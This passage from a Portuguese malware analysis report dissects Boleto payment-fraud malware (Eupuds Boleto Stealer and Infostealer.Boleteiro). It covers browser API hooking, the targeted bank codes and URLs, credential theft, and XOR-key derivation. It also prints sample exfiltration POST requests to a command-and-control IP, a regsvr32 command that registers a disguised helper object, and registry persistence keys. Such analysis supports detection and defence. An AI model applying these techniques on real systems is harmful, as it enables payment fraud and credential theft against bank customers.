Criado %UserProfile%\Application Data\[RANDOM [RANDOM FILE NAME].exe 0eb750db1ecdf0d2de80002822b5efd1

FOLDER [RANDOM FILE NAME].exe 0eb750db1ecdf0d- NAME] 2de80002822b5efd1

Tabela 10. Arquivos criados pelo componente Eupuds Browser Injector Os arquivos a seguir poderão ser Ação Nome do Arquivo Propósito criados (Tabela 10). O tamanho dos arquivos é 0 (zero) e os nomes dos Criado %UserProfile%\Application Data\97524eb3 Verificação de acesso arquivos são hard-coded. Criado %UserProfile%\Application Data\e637799e Verificação de acesso O Eupuds AutoIt Loader também poderá modificar os processos do Tabela 11. Ações tomadas contra os processos do navegador navegador (Tabela 11). Ação Processo Objetivo Modificar [BROWSER PROCESS] Injeção DLL

Page 18 Análise de malware que visa o sistema de pagamento via Boleto

[BROWSER PROCESS] é um dos seguintes processos: • firefox.exe • iexplore.exe • chrome.exe COMANDO E CONTROLE O Browser Injector pode enviar solicitações HTTP POST pela porta 80. Os dados POST são criptografados usando XOR, e então, Base64 com um alfabeto customizado. • /index. O Browser Injector entrará em contato com o servidor C&C para relatar o ID do usuário (hard-coded no Browser Injector) fazendo a seguinte solicitação POST:

POST /index.php HTTP/1.0 Host: 216.246.30.4 Content-Type: application/x-www-form-urlencoded Content-Length: 37 6ce7457a=6LnIwaal35rn8JTRp6nJzbDyu6Q= Os dados POST são adicionados com as seguintes cadeias geradas pela sequência de algoritmo aleatória: • 6ce7457a A seguir, os dados criptografados no pedido POST: • 6LnIwaal35rn8JTRp6nJzbDyu6Q= A seguir, os dados descriptografados no pedido POST: • 3 Nota: Os dados criptografados são separados através de um sinal de igual (=). O BOLETO STEALER O Boleto Stealer é uma DLL de 32 bits, que é incorporada no Browser Injector. Este componente é injetado em processos do navegador, e é responsável por interceptar o tráfego que pode ser desejável para os infratores e enviá-lo para o servidor de controle. O servidor de controle pode responder com dados que substituem os números originais do boleto que serão processados pelo browser.

Tabela 12. Características do componente Eupuds Boleto Stealer MD5 53289ae1a4753a2973423e0c6d6d0361 SHA-1 c25e886fe879f890fc19455dded5c62c9f959aa5 SHA-256 c42333f9d2f946b0f284fec227b3cc9e0ddbe91a63121ad4534e95d2152cc55b Tamanho (bytes) 132608 Propósito Roubo de dados

FUNCIONALIDADE O Boleto Stealer primeiramente determina qual o processo do navegador é injetado e conecta as APIs necessárias para executar ataques MITB, a fim de interceptar e manipular dados processados no navegador. O Boleto Stealer também conecta ExitProcess. O código não executa nenhuma ação e retorna a execução para o código original no ExitProcess. O Boleto Stealer tentará desativar os seguintes plug-ins, tais quais fornecem segurança adicional para

Page 19 Análise de malware que visa o sistema de pagamento via Boleto

transações financeiras on-line: • gbiehscd.dll • gbiehuni.dll • gbieh.dll • gbiehcef.dll • gbpdist.dll • gbiehabn.dll Uma vez que os ganchos são instalados, o Boleto Stealer monitora, então, as seguintes URLs com base em padrões específicos: • pagador.com.br • Boleto • 2via • segundavia • carrinho • bndes.gov.br • ?4798 Se o Boleto Stealer encontrar um padrão, detalhes específicos relativos aos números do boleto são enviados ao servidor C&C. O servidor pode responder com informações relevantes para substituir o boleto original antes de ativar o navegador. O Boleto Stealer irá ignorar o tráfego de entrada que contém qualquer um dos seguintes cadeias no URL: • .gif • .jpg • .jpeg • .png • .swf • .flv • .bmp • facebook.com • hotmail.com • live.com MANIPULAÇÃO DO BOLETO The Boleto Stealer can manipulate the Boleto in a number of different ways.

Boleto generation O Boleto Stealer pode manipular o Boleto de várias maneiras. GERAÇÃO DO BOLETO O Boleto Stealer é configurado para roubar Boletos de 36 diferentes bancos emissores de boleto e outras organizações. Quando o Boleto Stealer é acionado em uma das URLs configuradas, ele irá inspecionar a página para encontrar um código de banco de três dígitos no seguinte formato: • XXXIf Caso encontre uma combinação de URL e três dígitos bancários, juntamente com informações adicionais do sistema, estes então são enviados para o servidor C&C. O servidor irá responder com os dados fornecidos pelo infrator a fim de substituir os dados do boleto. O Boleto Stealer continuará então a procurar os seguintes códigos de quatro dígitos: • 7489 • 4099 • 3419

Page 20 Análise de malware que visa o sistema de pagamento via Boleto

• 6529 • 3999 • 4779 • 1049 • 0709 • 0789 • 0699 • 0219 • 1199 • 0339 • 4229 • 4539 • 0729 • 3569 • 6119 • 6239 • 3899 • 0749 • 1849 • 0049 • 0419 • 0379 • 0479 • 0039 • 7459 • 2229 • 2379 • 7399 • 7409 • 2469 • 0259 • 0299 • 0019

Se uma correspondência para qualquer uma dessas sequências numéricas for encontrada, o Boleto Stealer inicia uma procura pelo seguinte caractere: • < O Boleto Stealer irá então extrair os dados a partir do início do código de quatro dígitos, até encontrar o caractere “<”. Ele fará, então uploads destes dados e das informações básicas do sistema ao servidor C&C. O servidor responderá com os dados fornecidos pelo criminoso para manipular o Boleto. O boleto é então processado no navegador do usuário, mas em vez de apresentar os dados legítimos, serão exibidos ao usuário os dados fornecidos pelo infrator. Isso pode resultar em transações fraudulentas.

INVALIDANDO O CÓDIGO DE BARRAS Tabela 13. Tags HTML esacaneadas O Boleto Stealer modifica o código de barras do boleto para impedir que durante a tentativa de modificação este seja escaneado. O Boleto Stealer faz isso por meio de pesquisa para do código de barras as tags HTML na Tabela 13. Inicio Final O elemento de imagem HTML é desativado substituindo-o com um > comentário. >

Page 21 Análise de malware que visa o sistema de pagamento via Boleto

Para a vítima, o código de barras parecerá válido, entretanto, não mais poderá ser escaneado. Isso pode levar o usuário a inserir manualmente a informação do boleto fraudado:

INSERINDO O BOLETO MANUALMENTE O Boleto Stealer também é capaz de interceptar boletos que foram inseridos manualmente on-line. O Boleto Stealer inspecionará dados POST para os padrões correspondentes aos códigos de quatro dígitos mencionados anteriormente. Esta informação, juntamente com informações básicas do sistema, é enviada para o servidor, o qual responde com dados fornecidos pelo boleto invasor a fim de alterar os dados de pagamento do boleto.

COMBINAÇÃO DE PADRÃO URL O Boleto Stealer também pode procurar por URLs que contenham as seguintes cadeias: • &config={ • ader&cod A URL, juntamente com algumas informações básicas do sistema, é enviada ao servidor que responde com os dados fornecidos pelo criminoso para sobrescrever os dados originais no navegador.

ROUBO DE CREDENCIAIS O Boleto Stealer também é capaz de interceptar informações de login a partir dos seguintes websites: • Microsoft Live • Facebook (essa funcionalidade pode ser desativada ou estar em andamento) MICROSOFT LIVE O Boleto Stealer rouba credenciais de login utilizadas no seguinte endereço da Microsoft: • login.live.com/ppsecure O Boleto Stealer inspeciona a solicitação POST para os parâmetros a seguir, e quando extraídos são enviados para o servidor C&C: • login= • passwd= FACEBOOK Os Boleto.Stealer procuram o seguinte parâmetro na solicitação POST, durante o processo de login no Facebook: • lsd= Nota: Esta função pode ser desabilitada ou pode estar em andamento. INSTALAÇÃO A tabela 14 mostra o registro de entrada criado para assegurar que Eupuds AutoIt Loader permaneça persistente mesmo quando o computador for reiniciado.

Table 14. Registry keys created by Eupuds AutoIt Loader component Action Registry subkey Name Type Data Create HKEY_CURRENT_USER\Software\Microsoft\ [RANDOM FILE REG_SZ %UserProfile%\Application Data\[RANDOM Windows\CurrentVersion\Run NAME] FOLDER NAME]\[RANDOM FILE NAME].exe

Nota: [RANDOM FILE NAME] e [RANDOM FOLDER NAME] são gerados utilizando a sequência de algoritmo aleatória.

Page 22 Análise de malware que visa o sistema de pagamento via Boleto

O Boleto Stealer copia o Tabela 15. Local para o qual Eupuds AutoIt Loader é copiado pelo Boleto Stealer Eupuds AutoIt Loader para o seguinte local, conforme Ação Caminho Nome do Arquivo Tabela 15. Criado %UserProfile%\Application Data\[RANDOM FOLDER NAME] [RANDOM FILE NAME].exe Tabela 16. Arquivos criados para determinar se o componente doEupuds Boleto Stealer Os seguintes arquivos podem ser criados para determinar se o tem acesso de escrita Boleto Stealer tem acesso escrito (Tabela 16). Esses arquivos Ação Nome do Arquivo possuem 0 bytes de tamanho. Criado %UserProfile%\Application Data\97524eb3 PROCESSOS Criado %UserProfile%\Application Data\e637799e Antes do Boleto Stealer iniciar a Tabela 17. Processos ligados pelo componente Eupuds Boleto Stealer execução no navegador, ele primeiro determina qual navegador é injetado, Navegador API .dll a fim de ligar as APIs necessárias para Firefox PR_OpenTCPSocket nspr4.dll habilitar a funcionalidade man-in-the- Firefox PR_OpenTCPSocket nss3.dll middle (MITM). Firefox PR_Read nspr4.dll O Boleto Stealer também pode ligar o Firefox PR_Read nss3.dll seguinte DLL: Firefox PR_Write nspr4.dll • chrome.dll Firefox PR_Write nss3.dll Este é injetado no para Firefox PR_Close nspr4.dll monitorar o tráfego de entrada e saída. Firefox PR_Close nspr4.dll Internet Explorer InternetQueryDataAvailable wininet.dll O Boleto Stealer liga o seguinte API: Internet Explorer HttpOpenRequestW wininet.dll • InternetQueryDataAvailable Internet Explorer HttpSendRequestA wininet.dll Isso garante que as comunicações de Internet Explorer HttpSendRequestW wininet.dll rede válidas estejam disponíveis antes do Boleto Stealer instalar os ganchos Internet Explorer InternetReadFile wininet.dll adicionais. Internet Explorer InternetReadFileExA wininet.dll Internet Explorer InternetCloseHandle wininet.dll COMANDO E CONTROLE Internet Explorer InternetWriteFile wininet.dll O Boleto Stealer contata o servidor Internet Explorer HttpSendRequestExW wininet.dll de controle para realizar as seguintes Chrome WSASocketW ws2_32.dll ações: Chrome WSASend ws2_32.dll 1. Enviar informações básicas do sistema Chrome WSARecv ws2_32.dll 2. Enviar e receber informações de Chrome closesocket ws2_32.dll boleto usadas para gerar outros Chrome WSAGetOverlappedResult ws2_32.dll boletos fraudulentos Chrome recv ws2_32.dll 3. Enviar as informações de credenciais de login roubadas Tabela 18. Protocolo de comunicação C&C do Eupuds Boleto Stealer O Boleto Stealer utiliza solicitações Protocolo Controle do servidor URI HTTP POST através da porta 80 para se comunicar com o servidor C&C. Este POST index.php Enviar dados extraídos para atacantes

Tabela 19. Servidores Eupuds C&C Dominio Registro Nome do Email do Registrante Data de Endereço ASN Região Registrante Criação IP 216.246.30.4 Server Central HostForWeb [email protected] 2006-09-07 216.246.30.4 AS23352 US Network Inc 216.246.30.5 Server Central HostForWeb [email protected] 2006-09-07 216.246.30.5 AS23352 US Network Inc

Page 23 Análise de malware que visa o sistema de pagamento via Boleto

POST requer de dados e a resposta do servidor é criptografada com códigos XOR e Base64 usando um alfabeto customizado. A solicitação POST contém blocos criados pela sequência aleatória de algoritmos, que estão presente no início e no fim dos dados POST. O Boleto Stealer ignora o tráfego de saída que contenha os seguintes blocos de texto em uma URL: • .gif • .jpg • .jpeg • .png • .swf • .flv • .bmp • facebook.com /index.php O Boleto Stealer utiliza a seguinte solicitação POST para upload de informações relacionadas com o boleto ou credenciais roubadas ao servidor de controle:

POST /index.php HTTP/1.0 Host: 216.246.30.4 Content-Type: application/x-www-form-urlencoded Content-Length: 476 fb7=kKj63OKu6eDgq4fRp6nJzbDyiJj7ucjBpqXfm... Antes da criptografia, os dados da solicitação POST hospedam várias tags com o seguinte formato: • [DATA] No caso de roubo ou vazamento de dados do Boleto, a resposta a seguir é esperada do servidor, que pode ser usada para substituir a informação original do Boleto: • [DATA] BOLETO GERADO ON-LINE VAZAMENTO DO CÓDIGO BANCÁRIO O Boleto Stealer fará a seguinte solicitação POST, após upload de informações de códigos relacionados a boleto ao servidor de controle: Tabela 20. Tags utilizadas por Eupuds no 37653ccb pedido POST ao se comunicar com tags dos http://www.bradesco.com.brhttp://www. servidores C&C bradesco.com.br[...]2-via-de-boleto.shtm Tag Descrição 17 URL Trigger URL Firefox 3.5.7 Version Versão Eupuds 3 Windows XP Service Pack 2 Browser Navegador 32-bits UserID Eupuds userID 001-4 OStype Sistema Operacional Bignumbola Código Bancário UsfC4Neb91 Tabela 20 mostra a descrição das tags na solicitação POST. Final Desconhecido O bloco da solicitação POST é gerado utilizando a sequência aleatória de Tabela 21. Tags utilizadas na resposta POST do servidor Eupuds C&C algoritmos. O servidor de controle irá responder com as seguintes informações: Tag Descrição Getbol Desconhecido 37183245 Bignumbola Código do banco atualizado 399-9 Ced Número de conta fraudulenta gerado pelo servidor

Page 24 Análise de malware que visa o sistema de pagamento via Boleto

80704624 VAZAMENTO DO NÚMERO DO BOLETO O Boleto Stealer irá POSTAR os seguintes dados para o servidor de Tabela 22. Tags utilizadas na solicitação controle quando extrair o número do Boleto: POST pelo Eupuds ao se comunicar com o servidor C&C 4bdb6f9a http://www.bradesco.com.br/html/ Tag Descrição classic/produtos-servicos/outros/2-via-de- URL Trigger URL boleto.shtm Version Versão Eupuds 17 Browser Navegador Firefox 3.6.18 3 UserID Eupuds userID Windows XP Service Pack 3 32- OStype Sistema Operacional bits Bolahtml Número do Boleto 23790.09505 90000.000001 Final Desconhecido 01023.190000 3 26420010000000 tVsZcNR6zY O preenchimento aleatório é gerado utilizando a sequência aleatória de algoritmo. O servidor de controle responderá com a seguinte informação, usada para modificar o Boleto:

58587375 39994.10875 52693.139314 80110.000025 4 26420010000000 23790095059000000000101023190000326420010000000 69199651 Tabela 23 contém uma descrição das Tabela 23. Tags utilizadas na resposta POST do servidor tags na resposta POST. Tag Descrição INTRODUZINDO MANUALMENTE O Bolahtml Novo número do ID do boleto BOLETO Getbol Blank−também utilizado na URL Pattern Match O Boleto Stealer posta as seguintes Bignumbola Blank− também usado na extração informações ao servidor de UserID Eupuds userID controle quando o padrão = XXXX é Vars Número Original do Boleto correspondido nos dados POST: Ced Número fraudulento gerado [RANDOM _ NUMBER] < u r l >[...] < v e r s i o n >[...] Tabela 24. Tags Post solicitadas pelo [...] Eupuds ao se comunicar com o servidor C&C < u s e r i d >[...] < o s t y p e >[...] Tag Descrição < b o l >[...] URL Iniciar URL < b s i d e s >[...] Version Versão Eupuds < s t e p >[...] Browser Navegador < v a r s >[...] < fi n a l >[...] UserID Eupuds userID [RANDOM _ STRING] OStype Sistema Operacional O preenchimento aleatório é gerado por meio da sequência Bol Informações Relacionadas ao Boleto aleatória de algoritmos: Bsides Desconhecido • length 1->14 Step Desconhecido • characters 0-9, a-z, A-Z Vars Desconhecido Final Desconhecido

Page 25 Análise de malware que visa o sistema de pagamento via Boleto

O servidor de controle responde às seguintes informações: • [DATA]

Os elementos tag a seguir, podem existir na resposta: • bol • ced • step • vars • taghtml • fechataghtml • tagbola • taghtmlced • fechataghtmlced • taghtml1 • fechataghtml1 • tagbola1 • taghtml2 • fechataghtml2 • tagbola2 • taghtml3 • fechataghtml3 • tagbola3 • taghtml4 • fechataghtml4 • tagbola4 • taghtml5 • fechataghtml5 • tagbola5 • taghtml6 • fechataghtml6 • tagbola6 • taghtml7 • fechataghtml7 • tagbola7 • taghtml8 • fechataghtml8 • tagbola8 • taghtml9 • fechataghtml9 • tagbola9 Tabela 25. Tags utilizadas no pedido POST feito A informação na tag bol é utilizada para substituir os valores pelo Eupuds quando se comunica com o originais encontrados na solicitação POST inicial. servidor C&C O Boleto Stealer também interceptará URLs que contenham Tag Descrição os seguintes padrões: URL Iniciar URL • &config={ Version Versão Eupuds • ader&cod Browser Browser O Boleto Stealer fará um pedido POST contendo as seguintes UserID Eupuds userID informações para o servidor de controle: OStype Sistema Operacional [RANDOM _ NUMBER] Getbol Dados relacionados ao Boleto < u r l >[...] Step Desconhecido < v e r s i o n >[...] Vars Desconhecido [...] Final Desconhecido < u s e r i d >[...]

Page 26 Análise de malware que visa o sistema de pagamento via Boleto

< o s t y p e >[...] < g e t b o l >[...] < s t e p >[...] < v a r s >[...] < fi n a l >[...] [RANDOM _ STRING] O preenchimento aleatório é gerado utilizando a sequência aleatória de algoritmo: • length 1-14 • characters 0-9, a-z, A-Z O servidor de controle irá responder a seguinte informação: • [DATA] Os elementos do nominais da tag são esperados para ser um dos seguintes: • getbol • ced • taghtml • fechataghtml • tagbola • taghtmlced • fechataghtmlced • taghtml1 • fechataghtml1 • tagbola1 • taghtml2 • fechataghtml2 • tagbola2 • taghtml3 • fechataghtml3 • tagbola3 • taghtml4 • fechataghtml4 • tagbola4 • taghtml5 • fechataghtml5 • tagbola5 • taghtml6 • fechataghtml6 • tagbola6 • taghtml7 • fechataghtml7 • tagbola7 • taghtml8 • fechataghtml8 • tagbola8 • taghtml9 • fechataghtml9 • tagbola9 Tabela 26. Tags utilizadas nos dados POST quando extraídas as credenciais A informação dentro da tag getbol irá substituir o valor original no Microsoft Live navegador. Tag Descrição MICROSOFT LIVE UserID Eupuds UserID Os seguintes dados POST (antes da criptografia) são enviados para o URL Iniciar URL servidor de controle ao extrair os dados do Microsoft Live: Version Versão Eupuds Hot Usuário e Senha o7w w9l4b5P 3 http://login.live.com/ppsecure/post.srf?lc=1033&bk=1409137114&uaid=56a9fe5 3a80547689a46bb35337c8533 17 user%40website.com;password o7w w9l4b5P

Page 27 Análise de malware que visa o sistema de pagamento via Boleto

O preenchimento aleatório é gerado a partir da sequência aleatória de algoritmo: • length 1-10 • characters 0-9, a-z, A-Z INTERNET EXPLORER LAUNCHER O Internet Explorer Launcher é um DLL de 32 bits contido no Eupuds Loader.

FUNCIONALIDADE Tabela 27. Características dos componentes Eupuds Internet Explorer Launcher O objetivo do Internet MD5 074e15006411c63f3e90d55dc4b4abbd Explorer Launcher é localizar SHA-1 524ceb109b4bc9a1be77875814019a425d2be7fe o caminho de iexplore.exe e SHA-256 470ced5319e77a9b2df48b1b79f3cca25e18fa265bae364bfad1f2dca04195ba executá-lo. Tamanho (bytes) 54784 INSTALAÇÃO Propósito Criação de processos do Internet Explorer O Internet Explorer Launcher lê a seguinte chave de registro para encontrar o caminho para IEXPLORER.EXE: • SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\IEXPLORE.EXE O Internet Explorer Launcher executa iexplore.exe do local Tabela 28. Processos Iniciados pelo encontrado no Registro. componente Eupuds Internet Explorer Launcher Infostealer.Boleteiro Ação Processo Em 10 de Julho de 2014, a Trusteer publicou um blog que revelou Criado Iexplore.exe detalhes sobre um novo malware do Boleto chamado Infostealer. Boleteiro (a IBM Trusteer refere-se a este malware como Coleto). Infostealer.Boleteiro acrescenta uma extensão ao navegador Chrome, um componente BHO para o Internet Explorer e, mais recentemente, um add-on para o navegador Maxthon. IDENTIFICAÇÃO

Tabela 29. Pseudonimos para Boleteiro Fabricante Pseudônimo

Symantec Infostealer.Boleteiro

Tabela 30. Lista de artefatos do Boleteiro PE timestamp MD5 Tamanho (bytes) Nome do Arquivo 30/04/13 10:07:00 682dd13091d5d7a778781d23fad45d04 223158 100_1X_PM0__Adobe.ex_ 16/01/14 19:47:27 085b407e36778f7908f89f9efa556db7 21504 AdobePro.jpg N/A 2c504aac3f95e43743f1237f98317330 13773 Manifest.js N/A e702272f49071a474d630f4d32e5c6a7 358 manifest.json N/A d60310ca91e8aa9bbd09628a05a1c3b6 2794 icon.png 19/06/1992 23:22:17 1c74c1daf9640de273819b5c32bf3baf 415232 Boleto16092014.exe N/A 707deba29796a0b0339d9745ffe6f3a3 3913 Manifest.js N/A e702272f49071a474d630f4d32e5c6a7 358 manifest.json N/A d60310ca91e8aa9bbd09628a05a1c3b6 2794 icon.png 19/06/1992 23:22:17 507ec652ab9462e178ec4c444520d424 183296 100_4X_AZ_PA2__SexDesejo.ex_ 07/01/2014 10:38:14 41de2672149407310f7083069c27893c 21504 AdobePro.jpg 26/10/2014 00:25:01 0d9e59c6e497b1b3be3313318697f330 168448 Song Download Brasil.exe N/A b65045764439540b521f2f717ac56652 517674 1361840469.mxaddon N/A 38d5efbecc7a6f94f4b81d83dd0c260a 11783 log.js

Page 28 Análise de malware que visa o sistema de pagamento via Boleto

USO DO EXPLOIT Infostealer.Boleteiro não foi observado usando qualquer exploit. ANTI-ANÁLISE

Tabela 31. Lista de técnicas anti-análise usadas pelo Boleteiro Categoria Descrição Anti-Debug NÃO Anti-Emulation NÃO Anti-VM NÃO Pacote e compressão SIM Ofuscação SIM Criptografia Host-based SIM Criptografia Network-based NÃO Manobras laterais do Servidor NÃO

EMPACOTAMENTO E COMPRESSÃO Infostealer.Boleteiro fora observado utilizando WinRAR Tabela 32. Técnicas de empacotamento e SFX e UPX para empacotamento e compressão (Tabela compressão usadas pelo Boleteiro 32). Amostra MD5 Compactador 682dd13091d5d7a778781d23fad45d04 WinRAR SFX OFUSCAÇÃO 085b407e36778f7908f89f9efa556db7 UPX Infostealer.Boleteiro fora observado utilizando a 507ec652ab9462e178ec4c444520d424 UPX criptografia BYTE XOR, invertendo a cadeia e ROT13 para 41de2672149407310f7083069c27893c UPX ofuscar cadeias incorporadas (Tabela 33).

CRIPTOGRAFIA Tabela 33. Técnicas de ofuscação utilizadas pelo Boleteiro Amostra MD5 Tipo de Algoritmo TEsta seção detalha os Ofuscação esquemas de criptografia e de codificação usados por 085b407e36778f7908f89f9efa556db7 Strings 1 BYTE XOR and string reversing function Infostealer.Boleteiro: 2c504aac3f95e43743f1237f98317330 Strings ROT13 encoding 38d5efbecc7a6f94f4b81d83dd0c260a Strings Hex representation in matrix HOST-BASED

Os componentes Infostealer.Boleteiro na Tabela 34. Componentes Boleteiro que empregam criptografia Tabela 34 utilizaram criptografia. Algoritmo chave Componente Propósito A extensão do Google Chrome contém ROT13 None Google Chrome extension ofuscar as cadeias cadeias ROT13 codificadas. O BHO usa BYTE XOR Browser Helper Object osfuscar as cadeias criptografia BYTE XOR para ofuscar cadeias dentro da DLL. A chave usada pelo BHO deriva-se da seguinte sequência: • FileZilla Cada caractere nas cadeias é representado como um número decimal: • F -> 70 • i -> 105 Estes valores são então concatenados: • 701051081019010510810897

Page 29 Análise de malware que visa o sistema de pagamento via Boleto

Cada caractere é então representado em ASCII: • 7 -> 0x37 • 0 -> 0x30 A chave produzida por estes resultados é: • 0x37 0x30 0x31 0x30 0x35 0x31 0x30 0x38 0x31 0x30 0x31 0x39 0x30 0x31 0x30 0x35 0x31 0x30 0x38 0x31 0x30 0x38 0x39 0x37 A seguir está um exemplo das cordas criptografadas e descriptografadas após encriptação BYTE XOR com a chave: • Cadeia criptografada: 585E61425C5F44 • Cadeia descriptografada: onPrint Nota: Algumas cadeias também podem utilizar uma função inversa após a decriptação. Network-based Infostealer.Boleteiro não criptografa o tráfego de rede. Tabela 35. Características do componente Boleteiro Dropper A Nome do 100_1X_PM0__Adobe.ex_ BOLETEIRO DROPPER A Arquivo Boleteiro Dropper A creates a MD5 682dd13091d5d7a778781d23fad45d04 Google Chrome extension and a SHA-1 d9373ca842bfd3b9723a2ab1b22192cd5fcbc13c BHO, however it does not install SHA-256 67b2df0880675e06b4d89fa6f492d03be29b1e19184b3e581e8b102cabf31f88 these components. tamanho 223158 (bytes) INSTALAÇÃO Proposito Derruba extensão Google Chrome e BHO Quando Boleteiro Dropper A é executado, os arquivos a seguir (Tabela 36) são criados no sistema de arquivos.

Tabela 36. Arquivos criados quando o componente Boleteiro Dropper A é executado Arquivo Propósito %UserProfile%\Application Data\Microsoft\Google\Manifest.js Boleto Interceptor (Google Chrome Extension) %UserProfile%\Application Data\Microsoft\Google\AdobePro.jpg Boleto Interceptor (Browser Helper Object) %UserProfile%\Application Data\Microsoft\Google\manifest.json Manifest file (Google Chrome extension) %UserProfile%\Application Data\Microsoft\Google\icon.png Image (Google Chrome extension)

BOLETEIRO DROPPER B Boleteiro Dropper B instala uma extensão do Google Tabela 37. Características dos componentes do Boleteiro Dropper B Chrome. Nome do Boleto16092014.exe Arquivo A instalação ocorre quando a vítima fecha o formulário MD5 1c74c1daf9640de273819b5c32bf3baf em branco que é exibido SHA-1 bf0001d2d44bebc2736b902c8b7662c4f2a727c6 quando Boleteiro Dropper B é SHA-256 3bb71fd5dbbdb5e16e4d4fa4caab6ab886508e26fe1bf- executado (Figura 4). cb89b6243153bee0018 Tamanho (bytes) 415232 Nota: Os arquivos existem na seção.rsrc e não estão Propósito Derrubar a extensão Google Chrome criptografados.

Page 30 Análise de malware que visa o sistema de pagamento via Boleto

Figura 4. A janela do formulário em branco que é exibida quando Boleteiro Dropper B é executado

Installation Boleteiro Dropper B cria a seguinte pasta no sistema de arquivos (Tabela 38):

Tabela 38. Diretórios Criados quando o componente Boleteiro Dropper B é executado Diretório %UserProfile%\Application Data\Microsoft\Google\

Tabela 39. Arquivos Criados quando o componente Boleteiro Dropper B executa Arquivo Propósito %UserProfile%\Application Data\Microsoft\Google\Manifest.js Boleto Interceptor (Google Chrome extension) %UserProfile%\Application Data\Microsoft\Google\manifest.json Manifest file (Google Chrome extension) %UserProfile%\Application Data\Microsoft\Google\icon.png Image (Google Chrome extension)

Boleteiro Dropper B modifica o link de atalho do navegador Google Chrome, a fim de carregar o Boleto Interceptor (extensão do Google Chrome), quando o navegador é iniciado. Os seguintes dados de configuração são anexados ao campo de destino no link de atalho do Google Chrome: • --load-extensions%UserProfile%\Application Data\Microsoft\Google\ Tabela 40. Características do componente Boleteiro Dropper C BOLETEIRO DROPPER C Nome do 100_4X_AZ_PA2__SexDesejo.ex_ Boleteiro Dropper C instala Arquivo um BHO responsável pela MD5 507ec652ab9462e178ec4c444520d424 interceptação do boleto. Boleteiro SHA-1 23cfa457e076f5fb705b5969a8cce9d7912cf4cb Dropper C e o BHO são pacotes UPX. O Browser Helper Object SHA-256 ca62226b4172fdba20a45f36388a1c22c0fcb996fe50648893a89d- bf7039e537 está localizado na seção.rsrc. Tamanho (bytes) 183296 Proposito Drops BHO

Page 31 Análise de malware que visa o sistema de pagamento via Boleto

Quando Boleteiro Dropper C é executado, a seguinte mensagem será exibida: • A operação atual não pode ser concluída porque ocorreu um erro inesperado INSTALAÇÃO Boleteiro Dropper C cria e registra o BHO para que ele carregue quando o Internet Explorer é inicializado. Boleteiro Dropper C registra o Browser Helper Object, ao executar o seguinte comando: • “%SystemDrive%\WINDOWS\system32\regsvr32.exe” /s %UserProfile%\Application Data\AdobePro.jpg” Boleteiro Dropper C adiciona entradas de registro para carregar o BHO com o Internet Explorer usando a ferramenta reg.exe. regsvr32.exe registra a amostra e reg.exe define a amostra como um BHO. regsvr32.exe cria as seguintes entradas:

Tabela 41. As entradas do registro adicionadas pelo componente Boleteiro Dropper C Nome Tipo Valor HKEY_CLASSES_ROOT\Adobe.Pro\Clsid\(Default) REG_SZ {5B4720E5-4C2D-4067-98FF-0AFEBB182336}

HKEY_CLASSES_ROOT\CLSID\{5B4720E5-4C2D-4067-98FF-0AFEBB182336}\ REG_SZ Adobe.Pro Default HKEY_CLASSES_ROOT\CLSID\{5B4720E5-4C2D-4067-98FF-0AFEBB182336}\ REG_SZ {40FC6ED5-2438-11CF-A3DB-080036F12502} Implemented Categories HKEY_CLASSES_ROOT\CLSID\{5B4720E5-4C2D-4067-98FF-0AFEBB182336}\ REG_SZ %UserProfile%\Application Data\AdobePro.jpg InprocServer32\Default HKEY_CLASSES_ROOT\CLSID\{5B4720E5-4C2D-4067-98FF-0AFEBB182336}\ REG_SZ Apartment InprocServer32\ThreadingModel HKEY_CLASSES_ROOT\CLSID\{5B4720E5-4C2D-4067-98FF-0AFEBB182336}\ REG_SZ Adobe.Pro ProgID\Default HKEY_CLASSES_ROOT\CLSID\{5B4720E5-4C2D-4067-98FF-0AFEBB182336}\ REG_SZ 0A04C9CA-F602-4587-9633-1FF13B6811C1 TypeLib\Default HKEY_CLASSES_ROOT\CLSID\{5B4720E5-4C2D-4067-98FF-0AFEBB182336}\ REG_SZ 1.0 VERSION\Default HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Adobe.Pro\Default REG_SZ Adobe.Pro HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Adobe.Pro\Clsid\Default REG_SZ {5B4720E5-4C2D-4067-98FF-0AFEBB182336}

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{5B4720E5-4C2D-4067- REG_SZ Adobe.Pro 98FF-0AFEBB182336}\Default HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{5B4720E5-4C2D-4067- REG_SZ %UserProfile%\Application Data\AdobePro.jpg 98FF-0AFEBB182336}\InprocServer32\Default HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{5B4720E5-4C2D-4067- REG_SZ Apartment 98FF-0AFEBB182336}\InprocServer32\ThreadingModel HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{5B4720E5-4C2D-4067- REG_SZ Adobe.Pro 98FF-0AFEBB182336}\ProgID\Default HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{5B4720E5-4C2D-4067- REG_SZ {0A04C9CA-F602-4587-9633-1FF13B6811C1} 98FF-0AFEBB182336}\TypeLib\Default HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{5B4720E5-4C2D-4067- REG_SZ 1.0 98FF-0AFEBB182336}\VERSION\Default

Tabela 42. Registro de entradas criadas pelo reg.exe Nome Tipo Valor HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Browser Helper Objects\ REG_DWORD 00000001 {5B4720E5-4C2D-4067-98FF-0AFEBB182336} HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\Ext\CLSID\{5B4720E5- REG_SZ 1 4C2D-4067-98FF-0AFEBB182336}

Page 32 Análise de malware que visa o sistema de pagamento via Boleto

